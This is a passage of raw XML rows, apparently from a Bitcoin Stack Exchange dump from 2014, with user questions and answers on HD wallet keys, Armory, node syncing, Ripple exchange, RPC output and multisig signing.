  <row Id="32798" PostTypeId="1" AcceptedAnswerId="32800" CreationDate="2014-11-30T18:31:25.023" Score="3" ViewCount="1668" Body="&lt;p&gt;(I am reading the bip32 for an altcoin development.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the bip32 specification, it is written that listing all incoming and outgoing payments of a hierarchical deterministic wallet would required the &lt;strong&gt;&lt;em&gt;extended&lt;/em&gt;&lt;/strong&gt; public keys.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In case an auditor needs full access to the list of incoming and outgoing payments, one can share all account public &lt;strong&gt;&lt;em&gt;extended&lt;/em&gt;&lt;/strong&gt; keys. This will allow the auditor to see all transactions from and to the wallet, in all accounts, but not a single secret key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wouldn't the (non-extended) elliptic curve encryption's public keys work too ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if I understand the spec properly, sharing an extended public key isn't really safe since knowing a descending non-hardened private key would then expose all the keys descending from this first extended public key...and sharing a non-extended public key would avoid the problem. &lt;/p&gt;&#xA;" OwnerUserId="21342" LastEditorUserId="2306" LastEditDate="2014-12-13T05:52:08.137" LastActivityDate="2015-08-02T01:19:04.140" Title="Why one would need *extended* public keys for auditing a bip32 wallet?" Tags="|bip32-hd-wallets|wallet-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32799" PostTypeId="1" CreationDate="2014-11-30T19:14:25.017" Score="1" ViewCount="204" Body="&lt;p&gt;Do I need to install Armory on a computer to move my BTC out of an armory wallet?&lt;/p&gt;&#xA;" OwnerUserId="21328" LastActivityDate="2017-09-12T00:20:56.857" Title="Armory paper backup without private keys" Tags="|armory|paper-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32800" PostTypeId="2" ParentId="32798" CreationDate="2014-11-30T19:44:53.040" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why one would need &lt;em&gt;extended&lt;/em&gt; public keys for the auditing a bip32 wallet?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't &lt;em&gt;need&lt;/em&gt; them. You could also just make a list of all of the addresses that have a balance, and send that to your auditor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Auditing a Bitcoin wallet is not a very good example of what this is capable of. Here are some other uses of BIP32:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You could have a script on a server with an extended public key generate addresses for people to donate to, without having that same server be able to spend money sent to those addresses. Without BIP32, you'd have to make a long list of addresses, put them on your server, and replenish them whenever they ran out.&lt;/li&gt;&#xA;&lt;li&gt;You could have an e-commerce app generate addresses like the above, and detect payments to those addresses without, again, having the ability to spend them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wouldn't the (non-extended) elliptic curve encryption's public keys work too?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. You also need the chain code to calculate the subkeys. Collectively, these two things make up an extended public key.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Furthermore, if I understand the spec properly, sharing an extended public key isn't really safe since knowing a descending non-hardened private key would then expose all the keys descending from this first extended public key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's... debatably safe. I don't think there's a real-word situation where someone would compromise one of your non-hardened private keys without having access to all of them.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-08-02T01:19:04.140" LastActivityDate="2015-08-02T01:19:04.140" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32801" PostTypeId="2" ParentId="32799" CreationDate="2014-11-30T20:31:24.417" Score="1" Body="&lt;p&gt;Yes. To move BTC OUT of the wallet you need to access the wallet and issue the send command (type in password if you set one) to send coins to another address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can send coins to your paper backed up address without having that wallet online, even if you created the wallet offline and it never touched the internet once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a security design to keep your coins as safe as possible. Otherwise anybody else could just move your coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you lost your keys or passwords then the coins are lost, even if you know the address.&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2014-11-30T20:31:24.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32802" PostTypeId="1" CreationDate="2014-11-30T21:04:40.477" Score="0" ViewCount="1973" Body="&lt;p&gt;It's 4 years out of date. I have tried using a different network. Same thing. Don't know what to do but would appreciate help.&lt;/p&gt;&#xA;" OwnerUserId="21344" LastEditorUserId="2306" LastEditDate="2014-11-30T21:57:14.787" LastActivityDate="2014-12-01T00:14:37.510" Title="My Bitcoin wallet is out of sync after connecting for the first time" Tags="|synchronization|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-29T14:41:58.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="32803" PostTypeId="1" CreationDate="2014-11-30T21:33:43.830" Score="1" ViewCount="1819" Body="&lt;p&gt;I double clicked on the Multibit Icon which I normally do but this time the program does not launch.  I don't even see in in the task manager.  I went to the file location folder and double clicked it from there but nothing.  I even tried to run it as an administrator, still no luck.  Error reporting gives me this but I have no idea what any of this means. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fault bucket , type 0&#xA;Event Name: PCA2&#xA;Response: Not available&#xA;Cab Id: 0&#xA;&#xA;Problem signature:&#xA;P1: multibit.exe&#xA;P2: 0.0.0.0&#xA;P3: multibit.exe&#xA;P4: unknown&#xA;P5: unknown&#xA;P6: 200&#xA;P7: -1&#xA;P8: &#xA;P9: &#xA;P10: &#xA;&#xA;Attached files:&#xA;C:\Users\Corry\AppData\Local\Temp\{2e873e3e-224a-4e49-a645-3085d257487a}\appcompat.txt&#xA;C:\Users\Corry\AppData\Local\Temp\Tab6C87.tmp&#xA;&#xA;These files may be available here:&#xA;&#xA;&#xA;Analysis symbol: &#xA;Rechecking for solution: 0&#xA;Report Id: 9b901d74-78d6-11e4-8e09-c8600014cfa9&#xA;Report Status: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21345" LastEditorUserId="2306" LastEditDate="2014-11-30T21:46:57.237" LastActivityDate="2014-11-30T21:46:57.237" Title="Multibit crashes on startup with PCA2 error (Program Compatibility Assistant)" Tags="|multibit|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32804" PostTypeId="1" AcceptedAnswerId="32808" CreationDate="2014-11-30T22:22:32.443" Score="3" ViewCount="826" Body="&lt;p&gt;I'm not hundred percent sure I got the whole principle of Ripple right. But as far as I could understand it is possible to deposit a currency into my ripple account/wallet via a gateway (e.g. USD via snapswap.com) and then send that currency to another wallet/ripple account and get it exchanged automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I want to deposit 1 USD via snapswap.com into wallet1 and then send 1 USD worth of EUR to wallet2. This way, the owner of wallet2 receives my payment in EUR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first question would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Did I get this right, that it is possible to exchange a currency within the ripple network? Or is it that you have to convert your currency before you deposit into your wallet? In my example convert USD to EUR then deposit into wallet1 and send EUR to wallet2.&lt;/li&gt;&#xA;&lt;li&gt;Is there a way I can see the exchange rates the ripple network can offer my for any currency pair? e.g USD / EUR.&lt;/li&gt;&#xA;&lt;li&gt;I want to know if there is a way to get the exchange rate at which my USD will be converted to EUR, before I send the USD / EUR to wallet2. Or, do I have to send my money haphazardly?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21346" LastEditorUserId="2306" LastEditDate="2014-11-30T22:58:10.040" LastActivityDate="2014-12-01T05:52:49.700" Title="Get available exchange rates of Ripple's built-in exchange" Tags="|ripple|exchange-rate|ripple-gateways|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32805" PostTypeId="1" AcceptedAnswerId="32806" CreationDate="2014-11-30T23:31:54.620" Score="1" ViewCount="820" Body="&lt;p&gt;I'm currently working with a postgresql database I've downloaded &lt;a href=&quot;http://dumps.webbtc.com/bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; which has the following schema and has probably been parsed using Bitcoin-ABE (I added some indexes and redundant columns):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KtNLV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm stuck trying to make a connection between a transaction input and the previous output. According to the &lt;a href=&quot;http://webbtc.com/api/tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;API&lt;/a&gt; that belongs to the sql dump, the field &lt;em&gt;prev_out&lt;/em&gt; references &quot;the output that this input spends&quot;. My problem is, that I can't find any of the &lt;em&gt;txin.prev_out&lt;/em&gt; values in &lt;em&gt;tx.hash&lt;/em&gt;. Is this line of thinking correct, or am I connecting the wrong fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: As you can see both fields are of the type &lt;em&gt;bytea&lt;/em&gt;. I was able to use the function &lt;em&gt;encode(hash, 'hex')&lt;/em&gt; to get the actual transaction hash and find it at blockchain.info. For the field &lt;em&gt;txin.prev_out&lt;/em&gt; however, the hash cannot be found at blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="20728" LastEditorUserId="20728" LastEditDate="2014-11-30T23:37:00.270" LastActivityDate="2014-12-01T00:51:35.170" Title="Query Blockchain: Reference previous transaction in &quot;txin&quot;" Tags="|blockchain|abe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32806" PostTypeId="2" ParentId="32805" CreationDate="2014-11-30T23:57:32.833" Score="1" Body="&lt;p&gt;&lt;code&gt;txin.prev_out&lt;/code&gt; contains the txid in internal byte order. This is the opposite of &lt;code&gt;tx.hash&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to reverse the bytes. Here's a short python program that will do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import binascii&#xA;hash = '32d7724fb0d244f50281a500f505818bb655bc029158fd59d477f4445a6ed64a'&#xA;def reverse_hash(hash):&#xA;    hash = binascii.unhexlify(hash)&#xA;    hash = hash[::-1]&#xA;    return binascii.hexlify(hash)&#xA;&#xA;print reverse_hash(hash)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-12-01T00:51:35.170" LastActivityDate="2014-12-01T00:51:35.170" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32807" PostTypeId="2" ParentId="32802" CreationDate="2014-12-01T00:14:37.510" Score="1" Body="&lt;p&gt;The official Bitcoin software has to download the details of every single address, transaction and confirmation block to be synchronised. If you've just installed it then it's going to take you 1-5 days to download that data depending on your Internet and computer speed (just leave it running on your computer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other options to avoid this but as a rule of thumb it's more secure to use a &quot;full client&quot; such as the official software. Once it has sync'd every time you use it after that it will only need to sync the data since it last sync'd so is much, much quicker.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-12-01T00:14:37.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32808" PostTypeId="2" ParentId="32804" CreationDate="2014-12-01T05:52:49.700" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Did I get this right, that it is possible to exchange a currency within the ripple network? Or is it that you have to convert your currency before you deposit into your wallet? In my example convert USD to EUR then deposit into wallet1 and send EUR to wallet2.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you got it right. Ripple contains order books for any pair of assets.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way I can see the exchange rates the ripple network can offer my for any currency pair? e.g USD / EUR.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The best way is to attempt the conversion in the client. If you try to view the exchange rates, you will see only a small subset of the available liquidity.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to know if there is a way to get the exchange rate at which my USD will be converted to EUR, before I send the USD / EUR to wallet2. Or, do I have to send my money haphazardly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can estimate the exchange rate by viewing order books in the client or on Ripple charts. But there are a number of reasons why the rate you actually get may not be the rate you see. For example, the best rate may be by exchanging USD for XRP and then buying the EUR with the XRP. The conversion function uses pathfinding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that there's really no such thing as USD or EUR on the Ripple network. There are assets denominated in USD or EUR, and there may be more than one of each. The actual exchange rate you get may depend on the precise asset combination you are trying to exchange, not just which currencies it's denominated in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would expect an asset issued by a major exchange to be available for very close to face value and you might expect to get near face value for it. But there can be small variations. Providing assets widely valued near face value is essentially the purpose of a gateway.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-12-01T05:52:49.700" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32809" PostTypeId="2" ParentId="30331" CreationDate="2014-12-01T06:02:04.243" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The person sending the coin would have to include the whole ownership chain, which would start increasing more and more in size&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This alone wouldn't be sufficient, because it doesn't tell you whether the chain of ownership was double spent, or whether those transactions were confirmed in valid blocks, or even if the original coins were mined properly and exist in the longest chain.  To know all that, you need to see the whole blockchain, or to trust someone else who has seen the whole blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paper explains that the basis of the blockchain is that everyone is aware of every transaction that ever happened, and the order in which they happened.  So by having access to the blockchain, you can validate a new payment to make sure it is genuine and not double spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin nodes are optimised so that they can just validate a chain once and then store a set of its unspent transactions, so it means they don't have to re-check each transaction all the way back to the genesis block.  This is just an optimisation though, so that's probably why it was left out of the paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use an SPV wallet (see the section in the paper titled &quot;Simplified Payment Verification&quot;) which eliminates the need to see the full chain, at the cost of outsourcing trust to the miners.&lt;/p&gt;&#xA;" OwnerUserId="4897" LastActivityDate="2014-12-01T06:02:04.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32811" PostTypeId="1" CreationDate="2014-12-01T09:17:56.457" Score="2" ViewCount="1511" Body="&lt;p&gt;I want to use message signing to prove control of a multi signature Bitcoin address. Is it possible? In theory it must be. In practice, are there any Bitcoin wallets that allow this? Specifically, how can I do this with Armory Lockboxes?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-12-01T09:40:40.790" Title="How can I sign a message with a multi signature address?" Tags="|armory|multi-signature|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32812" PostTypeId="2" ParentId="32811" CreationDate="2014-12-01T09:40:40.790" Score="2" Body="&lt;p&gt;Signing message is proof of ownership of &lt;strong&gt;private key&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisignature/P2SH address is hash of several (including zero) public keys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, signing message with M private keys and disclosing the &quot;contents&quot; of msig address M-of-N is proof of control on address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know are there existing services to sign/verify p2sh addresses, but it is possible. Do not know about Armory/others.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-12-01T09:40:40.790" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="32813" PostTypeId="1" CreationDate="2014-12-01T10:40:09.163" Score="2" ViewCount="438" Body="&lt;p&gt;Node A receives a newest block with height &lt;code&gt;h1&lt;/code&gt;, which it determines to be valid, and therefore stores the block on disk. A little later, it receives another block with the same height &lt;code&gt;h1&lt;/code&gt; but a greater amount of proof of work than the previous one. What would node A do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am confused about the order of processing a new block. The order in the source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              success                          success&#xA;Check(block)-----------&amp;gt;store block on disk------------------&amp;gt;ReceivedBlockTransaction--------&amp;gt;ActivateBestChain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;ReceivedBlockTransaction&lt;/code&gt; or &lt;code&gt;ActivateBestChain&lt;/code&gt; were to fail, would the disk be rolled back or not? If it would rollback, why not put the &lt;code&gt;receivedBlockTransaction&lt;/code&gt; and &lt;code&gt;ActivateBestchain&lt;/code&gt; before &lt;code&gt;store block on disk&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="5406" LastEditDate="2018-05-04T17:14:05.710" LastActivityDate="2019-04-22T02:21:57.703" Title="In what order do new blocks get processed?" Tags="|block|chain-reorganization|best-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32814" PostTypeId="1" AcceptedAnswerId="32821" CreationDate="2014-12-01T15:07:21.960" Score="3" ViewCount="5291" Body="&lt;p&gt;&lt;code&gt;bitcoin-cli help listtransactions&lt;/code&gt; returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions ( &quot;account&quot; count from )&#xA;&#xA;Returns up to 'count' most recent transactions skipping the first 'from' transactions for account 'account'.&#xA;&#xA;Arguments:&#xA;1. &quot;account&quot;    (string, optional) The account name. If not included, it will list all transactions for all accounts.&#xA;                                     If &quot;&quot; is set, it will list transactions for the default account.&#xA;2. count          (numeric, optional, default=10) The number of transactions to return&#xA;3. from           (numeric, optional, default=0) The number of transactions to skip&#xA;&#xA;Result:&#xA;[&#xA;  {&#xA;    &quot;account&quot;:&quot;accountname&quot;,       (string) The account name associated with the transaction.&#xA;                                                It will be &quot;&quot; for the default account.&#xA;    &quot;address&quot;:&quot;bitcoinaddress&quot;,    (string) The bitcoin address of the transaction. Not present for&#xA;                                                move transactions (category = move).&#xA;    &quot;category&quot;:&quot;send|receive|move&quot;, (string) The transaction category. 'move' is a local (off blockchain)&#xA;                                                transaction between accounts, and not associated with an address,&#xA;                                                transaction id or block. 'send' and 'receive' transactions are&#xA;                                                associated with an address, transaction id and block details&#xA;    &quot;amount&quot;: x.xxx,          (numeric) The amount in btc. This is negative for the 'send' category, and for the&#xA;                                         'move' category for moves outbound. It is positive for the 'receive' category,&#xA;                                         and for the 'move' category for inbound funds.&#xA;    &quot;fee&quot;: x.xxx,             (numeric) The amount of the fee in btc. This is negative and only available for the&#xA;                                         'send' category of transactions.&#xA;    &quot;confirmations&quot;: n,       (numeric) The number of confirmations for the transaction. Available for 'send' and&#xA;                                         'receive' category of transactions.&#xA;    &quot;blockhash&quot;: &quot;hashvalue&quot;, (string) The block hash containing the transaction. Available for 'send' and 'receive'&#xA;                                          category of transactions.&#xA;    &quot;blockindex&quot;: n,          (numeric) The block index containing the transaction. Available for 'send' and 'receive'&#xA;                                          category of transactions.&#xA;    &quot;txid&quot;: &quot;transactionid&quot;, (string) The transaction id. Available for 'send' and 'receive' category of transactions.&#xA;    &quot;time&quot;: xxx,              (numeric) The transaction time in seconds since epoch (midnight Jan 1 1970 GMT).&#xA;    &quot;timereceived&quot;: xxx,      (numeric) The time received in seconds since epoch (midnight Jan 1 1970 GMT). Available&#xA;                                          for 'send' and 'receive' category of transactions.&#xA;    &quot;comment&quot;: &quot;...&quot;,       (string) If a comment is associated with the transaction.&#xA;    &quot;otheraccount&quot;: &quot;accountname&quot;,  (string) For the 'move' category of transactions, the account the funds came&#xA;                                          from (for receiving funds, positive amounts), or went to (for sending funds,&#xA;                                          negative amounts).&#xA;  }&#xA;]&#xA;&#xA;Examples:&#xA;&#xA;List the most recent 10 transactions in the systems&#xA;&amp;gt; bitcoin-cli listtransactions&#xA;&#xA;List the most recent 10 transactions for the tabby account&#xA;&amp;gt; bitcoin-cli listtransactions &quot;tabby&quot;&#xA;&#xA;List transactions 100 to 120 from the tabby account&#xA;&amp;gt; bitcoin-cli listtransactions &quot;tabby&quot; 20 100&#xA;&#xA;As a json rpc call&#xA;&amp;gt; curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;listtransactions&quot;, &quot;params&quot;: [&quot;tabby&quot;, 20, 100] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I execute &lt;code&gt;bitcoin-cli listtransactions&lt;/code&gt; it returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    {&#xA;        &quot;account&quot; : &quot;mmfCt5VCQn4CAiv7EbJCuhUH1YbRSTB5Zf&quot;,&#xA;        &quot;address&quot; : &quot;mu2agQWK8wrjiDeGaGx6kH6ndMAHZA1sPA&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 0.00594422,&#xA;        &quot;confirmations&quot; : 0,&#xA;        &quot;txid&quot; : &quot;777aa309142a5ee282996344a67b547098b6beb7cf5f016dd2efc28970a1a4f3&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;        ],&#xA;        &quot;time&quot; : 1417431126,&#xA;        &quot;timereceived&quot; : 1417431129&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The return format does not match the method's description, so which is the correct one? What am I missing here? &lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-12-02T07:22:40.160" Title="listtransactions RPC call" Tags="|json-rpc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32816" PostTypeId="2" ParentId="32787" CreationDate="2014-12-01T17:42:05.413" Score="4" Body="&lt;p&gt;My guess is that you are using weak passphrases to generate your keys. This is a common mistake with brain wallets. It is well known that there are bots that scan the blockchain for any unspent coins contained in an address generated from a weak passphrase and takes it for itself. I've not heard of a bot that looks at multisig p2sh addresses for weak passphrases, but I'm not surprised that it exists. It's not that much different than looking for weak passphrases in a standard pay to pub key transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I think this is the case is because your coins get taken from the multisig address after you've made one transaction from the multisig address. When you make a transaction from the multisig address, you reveal all the public keys that the multisig address is associated with. If the passphrase associated with the key is weak, the private key can be cracked by the bots and your coins will be gone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your coins were taken before you've made a transaction from the multisig address, this could mean that your computer or the brainwallet generator is compromised. It is also possible that there is a bot that can crack a p2sh multisig address without knowing the public keys (this is doable but since the search space is bigger it would be harder for the bot).  But since this is not the case, it seems pretty clear that you are using weak passphrases to generate your keys. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-12-01T18:03:40.340" LastActivityDate="2014-12-01T18:03:40.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32817" PostTypeId="1" AcceptedAnswerId="32931" CreationDate="2014-12-01T17:42:06.707" Score="0" ViewCount="129" Body="&lt;p&gt;I want to make a multisig transaction but dont how to do it. I am using this site: coinb.in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what is Txin or N that it also can be called.&lt;/p&gt;&#xA;" OwnerUserId="21259" LastActivityDate="2014-12-08T17:18:49.913" Title="How do I make a transaction" Tags="|transactions|multi-signature|raw-transaction|" AnswerCount="1" CommentCount="1" ClosedDate="2015-01-06T05:10:28.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="32818" PostTypeId="2" ParentId="20463" CreationDate="2014-12-01T18:08:49.087" Score="2" Body="&lt;p&gt;I have not tried it myself, but Peter Todd has a python script called dust-b-gone.py&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/petertodd/dust-b-gone&quot; rel=&quot;nofollow&quot;&gt;https://github.com/petertodd/dust-b-gone&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13211" LastEditorUserId="2306" LastEditDate="2014-12-01T18:12:59.623" LastActivityDate="2014-12-01T18:12:59.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32819" PostTypeId="1" CreationDate="2014-12-01T18:44:30.200" Score="0" ViewCount="121" Body="&lt;p&gt;I'm using the blockchain API to make a &quot;send to many transaction&quot;. In the recipients I only put other people addresses, but somehow the API sends the remainder of my balance back to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/b4c3203815fdf61616c0a2358fa0388e734bf53503f0a659d3c9fc7863da8adc&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/b4c3203815fdf61616c0a2358fa0388e734bf53503f0a659d3c9fc7863da8adc&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I had 0.01 btc in my wallet. I sent 0.0000543 BTC to two different recipients, but somehow my whole balance got spent and my 0.0097914 BTC got sent back to me. I didn't ask for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It also happens on a singular transaction:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/2eb4273313e27c2ede86844c58f687dc535aeaa5207e9a9c4a526a032cd5143a&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/2eb4273313e27c2ede86844c58f687dc535aeaa5207e9a9c4a526a032cd5143a&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've inspected the API calls and they are correct. My address is no where to be seen in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;" OwnerUserId="21349" LastEditorUserId="5406" LastEditDate="2014-12-07T09:44:48.227" LastActivityDate="2014-12-07T09:44:48.227" Title="My balance gets sent back to me" Tags="|transactions|blockchain|api|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-07T09:44:20.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="32820" PostTypeId="2" ParentId="30779" CreationDate="2014-12-01T19:23:15.117" Score="2" Body="&lt;p&gt;Your question is based on a misunderstanding of the account system. It's a very common misunderstanding, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unspent outputs are not associated with accounts.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incoming transactions credit the balance of the account associated with the address the transaction is received with. But accounts only have a balance - they don't 'own' the coins sent to them. Account balances can go negative, and can be modified through the &lt;code&gt;move&lt;/code&gt; command, without changing the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unspent outputs belong to the wallet as a whole, and accounts just keep track of who/what owns which amount of them - not which ones specifically. It is like keeping a wallet around with money that both belongs to you and to a friend. You keep track of how much you owe your friend, but you don't keep track of which specific notes or coins in the wallet belong to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what you want, you either need to use separate wallets (which keep the coins separately entirely), or use coin control or the raw transaction API, which allow you to specify manually which coins to use.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-12-02T10:07:56.050" LastActivityDate="2014-12-02T10:07:56.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32821" PostTypeId="2" ParentId="32814" CreationDate="2014-12-01T19:38:59.950" Score="2" Body="&lt;p&gt;Seems like the help hasnt been updated to include the addition of the &lt;code&gt;walletconflicts&lt;/code&gt; field. the only other thing missing is the &lt;code&gt;blockhash&lt;/code&gt; and &lt;code&gt;blockindex&lt;/code&gt; fields, and that's because  your transaction hasnt been included in one yet.&lt;/p&gt;&#xA;" OwnerUserId="11555" LastEditorUserId="11555" LastEditDate="2014-12-02T07:22:40.160" LastActivityDate="2014-12-02T07:22:40.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32822" PostTypeId="2" ParentId="17141" CreationDate="2014-12-01T19:44:07.890" Score="2" Body="&lt;p&gt;This list is not exhaustive, and the information is based on bitcointalk and coindesk discussion and articles. As of 1 Dec 2014, based on pool stats from few websites including &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GHASH.io is at 13 % , it is based out of Europe.&#xA;GHASH is closely related to CEX.io BitFury, Jeffrey Smith is the technical person at CEX.io.&#xA;Eligius 4 % is operated by Luke.Jr &#xA;Discus Fish 25%  is based out of china &amp;amp; coowned by Wang Chun.&#xA;Megabig power 2% in Washington operated by Dave Carlson.&#xA;KNC 8% is based out of Sweden , Sam Cole &amp;amp; Marcus Erlandsson.&#xA;Cointerra 2%  is based out of Texas. Timo Hanke &amp;amp; Ravi Iyengar. &lt;/p&gt;&#xA;" OwnerUserId="13211" LastEditorUserId="13211" LastEditDate="2014-12-12T04:13:31.763" 